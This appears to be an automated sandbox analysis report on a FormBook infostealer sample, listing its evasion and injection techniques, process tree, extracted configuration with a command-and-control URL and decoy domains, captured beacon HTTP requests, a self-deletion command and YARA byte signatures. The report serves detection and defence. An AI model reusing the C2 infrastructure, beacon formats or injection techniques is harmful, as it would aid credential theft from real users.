Play interactive tour

Edit tour

Windows Analysis Report 6KdTCZit4e.exe

Overview

General Information

Sample Name:	6KdTCZit4e.exe
Analysis ID:	452425
MD5:	ed43ff447cd5486610731a627a930607
SHA1:	91449c85fb2fa5d27f8db3c8c08cdfb9d3287162
SHA256:	91cdb947644a5a802adac7583a79e7e560da38839489a02e7464730ff66fd004
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses netstat to query active network connections and open ports

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

6KdTCZit4e.exe (PID: 6568 cmdline: 'C:\Users\user\Desktop\6KdTCZit4e.exe' MD5: ED43FF447CD5486610731A627A930607)

6KdTCZit4e.exe (PID: 6128 cmdline: C:\Users\user\Desktop\6KdTCZit4e.exe MD5: ED43FF447CD5486610731A627A930607)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

NETSTAT.EXE (PID: 6708 cmdline: C:\Windows\SysWOW64\NETSTAT.EXE MD5: 4E20FF629119A809BC0E7EE2D18A7FDB)

cmd.exe (PID: 4972 cmdline: /c del 'C:\Users\user\Desktop\6KdTCZit4e.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.hometowncashbuyersgroup.com/kkt/"], "decoy": ["inspirafutebol.com", "customgiftshouston.com", "mycreativelending.com", "psplaystore.com", "newlivingsolutionshop.com", "dechefamsterdam.com", "servicingl0ans.com", "atsdholdings.com", "manifestarz.com", "sequenceanalytica.com", "gethealthcaresmart.com", "theartofsurprises.com", "pirateequitypatrick.com", "alliance-ce.com", "wingrushusa.com", "funtimespheres.com", "solevux.com", "antimasathya.com", "profitexcavator.com", "lankeboxshop.com", "aarthiramamurthy.com", "oldmopaiv.xyz", "mavispaguzellik.com", "milkamax.com", "sputnikvasisi.com", "gametoyou.com", "sisconbol.com", "thedreamcertificate.com", "vichy-menuiserie.com", "pv-step.com", "growingmindstrilingual.com", "tlcrentny.com", "jedshomebuilders.com", "curtailit.com", "integruschamber.com", "lanzamientosbimbocolombia.com", "tightlinesfishingco.com", "doubleuphome.com", "arctic.solar", "unstopabbledomains.com", "aggiornamento-isp.info", "clarkandhurnlaw.com", "barefootbirthstl.com", "seanfeuct.com", "measureformeasurehome.com", "stephsavy.com", "loveflowersandevents.com", "czsis.com", "midnightblueinc.com", "today.dental", "customwithme.com", "edisetiyo.com", "jasoneganrealtor.com", "rihxertiza.com", "seahorseblast.net", "nedayerasa.com", "cliftonheightshoa.net", "theprofilemba.com", "cfwoods.com", "dogggo.com", "casatranquillainletbeach.com", "u1023.com", "aromakapseln.com", "zhwanjie.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.6KdTCZit4e.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.6KdTCZit4e.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.6KdTCZit4e.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
7.2.6KdTCZit4e.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.6KdTCZit4e.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.6KdTCZit4e.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17609:$sqlite3step: 68 34 1C 7B E1 0x1771c:$sqlite3step: 68 34 1C 7B E1 0x17638:$sqlite3text: 68 38 2A 90 C5 0x1775d:$sqlite3text: 68 38 2A 90 C5 0x1764b:$sqlite3blob: 68 53 D8 7F 8C 0x17773:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.hometowncashbuyersgroup.com/kkt/"], "decoy": ["inspirafutebol.com", "customgiftshouston.com", "mycreativelending.com", "psplaystore.com", "newlivingsolutionshop.com", "dechefamsterdam.com", "servicingl0ans.com", "atsdholdings.com", "manifestarz.com", "sequenceanalytica.com", "gethealthcaresmart.com", "theartofsurprises.com", "pirateequitypatrick.com", "alliance-ce.com", "wingrushusa.com", "funtimespheres.com", "solevux.com", "antimasathya.com", "profitexcavator.com", "lankeboxshop.com", "aarthiramamurthy.com", "oldmopaiv.xyz", "mavispaguzellik.com", "milkamax.com", "sputnikvasisi.com", "gametoyou.com", "sisconbol.com", "thedreamcertificate.com", "vichy-menuiserie.com", "pv-step.com", "growingmindstrilingual.com", "tlcrentny.com", "jedshomebuilders.com", "curtailit.com", "integruschamber.com", "lanzamientosbimbocolombia.com", "tightlinesfishingco.com", "doubleuphome.com", "arctic.solar", "unstopabbledomains.com", "aggiornamento-isp.info", "clarkandhurnlaw.com", "barefootbirthstl.com", "seanfeuct.com", "measureformeasurehome.com", "stephsavy.com", "loveflowersandevents.com", "czsis.com", "midnightblueinc.com", "today.dental", "customwithme.com", "edisetiyo.com", "jasoneganrealtor.com", "rihxertiza.com", "seahorseblast.net", "nedayerasa.com", "cliftonheightshoa.net", "theprofilemba.com", "cfwoods.com", "dogggo.com", "casatranquillainletbeach.com", "u1023.com", "aromakapseln.com", "zhwanjie.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 6KdTCZit4e.exe	Virustotal: Detection: 38%			Perma Link
Source: 6KdTCZit4e.exe	ReversingLabs: Detection: 19%

Yara detected FormBook

Show sources

Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY

Source: 7.2.6KdTCZit4e.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: 6KdTCZit4e.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 6KdTCZit4e.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netstat.pdbGCTL source: 6KdTCZit4e.exe, 00000007.00000002.797353151.0000000001720000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000008.00000000.741672578.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: netstat.pdb source: 6KdTCZit4e.exe, 00000007.00000002.797353151.0000000001720000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 6KdTCZit4e.exe, 00000007.00000002.795763283.000000000136F000.00000040.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 6KdTCZit4e.exe, 00000007.00000002.795763283.000000000136F000.00000040.00000001.sdmp, NETSTAT.EXE
Source:	Binary string: wscui.pdb source: explorer.exe, 00000008.00000000.741672578.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 4x nop then pop esi	7_2_004172E0
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 4x nop then pop ebx	7_2_00407B06
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 4x nop then pop edi	7_2_00416C87
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then pop esi	13_2_028A72E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then pop ebx	13_2_02897B06
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then pop edi	13_2_028A6C87

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.hometowncashbuyersgroup.com/kkt/

Uses netstat to query active network connections and open ports

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE

Source: global traffic	HTTP traffic detected: GET /kkt/?ibQh=6llLiJzHhP5P5Lj&I48l2h=L0B8w9HUZaOZ7jw4+npXJ0F94zqPsX3Vt6n0qHR8lA3J0yAUFnvUFF5QUXy5W701wjCn HTTP/1.1Host: www.thedreamcertificate.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /kkt/?I48l2h=JgCZg0ECNQCGdZh+l8D79i0V4/Xiha033Hwln1gAEXgZOLyx1jBrHFXC3spPC1oi0umv&ibQh=6llLiJzHhP5P5Lj HTTP/1.1Host: www.seahorseblast.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	HTTP traffic detected: GET /kkt/?ibQh=6llLiJzHhP5P5Lj&I48l2h=L0B8w9HUZaOZ7jw4+npXJ0F94zqPsX3Vt6n0qHR8lA3J0yAUFnvUFF5QUXy5W701wjCn HTTP/1.1Host: www.thedreamcertificate.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /kkt/?I48l2h=JgCZg0ECNQCGdZh+l8D79i0V4/Xiha033Hwln1gAEXgZOLyx1jBrHFXC3spPC1oi0umv&ibQh=6llLiJzHhP5P5Lj HTTP/1.1Host: www.seahorseblast.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.thedreamcertificate.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 22 Jul 2021 08:35:02 GMTServer: ApacheX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Length: 202Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6b 6b 74 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /kkt/ was not found on this server.</p></body></html>

Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000008.00000000.767736283.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 6KdTCZit4e.exe	String found in binary or memory: http://www.xboxleaders.com/api/friends.json?gamertag=
Source: 6KdTCZit4e.exe	String found in binary or memory: http://www.xboxleaders.com/api/profile.json?gamertag=
Source: explorer.exe, 00000008.00000000.750185799.000000000B970000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
